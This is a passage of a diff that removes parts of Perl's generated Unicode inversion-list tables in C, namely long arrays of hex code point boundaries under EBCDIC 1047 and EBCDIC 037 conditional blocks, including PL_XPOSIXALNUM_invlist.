0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11046, - 0x11066, - 0x11070, - 0x11082, - 0x110B9, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11133, - 0x11136, - 0x11140, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11180, - 0x111C0, - 0x111C1, - 0x111C5, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11235, - 0x11237, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112E9, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134D, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11400, - 0x11442, - 0x11443, - 0x11446, - 0x11447, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C2, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115BF, - 0x115D8, - 0x115DE, - 0x11600, - 0x1163F, - 0x11640, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B6, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172B, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A33, - 0x11A35, - 0x11A3F, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A98, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C3F, - 0x11C40, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D42, - 0x11D43, - 0x11D44, - 0x11D46, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9E, - 0x1BC9F, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1E947, - 0x1E948, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXALNUM_invlist[] = { /* for EBCDIC 037 */ - 1411, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x345, - 0x346, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5B0, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x658, - 0x659, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6E1, - 0x6E9, - 0x6ED, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x740, - 0x74D, - 0x7B2, - 0x7C0, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x818, - 0x81A, - 0x82D, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E0, - 0x8E3, - 0x8EA, - 0x8F0, - 0x93C, - 0x93D, - 0x94D, - 0x94E, - 0x951, - 0x955, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4D, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACD, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xAFD, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4D, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCD, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE47, - 0xE4D, - 0xE4E, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xECD, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF20, - 0xF2A, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF82, - 0xF88, - 0xF98, - 0xF99, - 0xFBD, - 0x1000, - 0x1037, - 0x1038, - 0x1039, - 0x103B, - 0x104A, - 0x1050, - 0x1063, - 0x1065, - 0x1069, - 0x106E, - 0x1087, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109C, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135F, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1714, - 0x1720, - 0x1734, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17B6, - 0x17C9, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x1939, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A61, - 0x1A75, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1B00, - 0x1B34, - 0x1B35, - 0x1B44, - 0x1B45, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B80, - 0x1BAA, - 0x1BAC, - 0x1BE6, - 0x1BE7, - 0x1BF2, - 0x1C00, - 0x1C36, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1DE7, - 0x1DF5, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA66F, - 0xA674, - 0xA67C, - 0xA67F, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C4, - 0xA8C5, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92B, - 0xA930, - 0xA953, - 0xA960, - 0xA97D, - 0xA980, - 0xA9B3, - 0xA9B4, - 0xA9C0, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAABF, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF6, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11046, - 0x11066, - 0x11070, - 0x11082, - 0x110B9, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11133, - 0x11136, - 0x11140, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11180, - 0x111C0, - 0x111C1, - 0x111C5, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11235, - 0x11237, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112E9, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134D, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11400, - 0x11442, - 0x11443, - 0x11446, - 0x11447, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C2, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115BF, - 0x115D8, - 0x115DE, - 0x11600, - 0x1163F, - 0x11640, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B6, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172B, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A33, - 0x11A35, - 0x11A3F, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A98, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C3F, - 0x11C40, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D42, - 0x11D43, - 0x11D44, - 0x11D46, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9E, - 0x1BC9F, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1E947, - 0x1E948, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 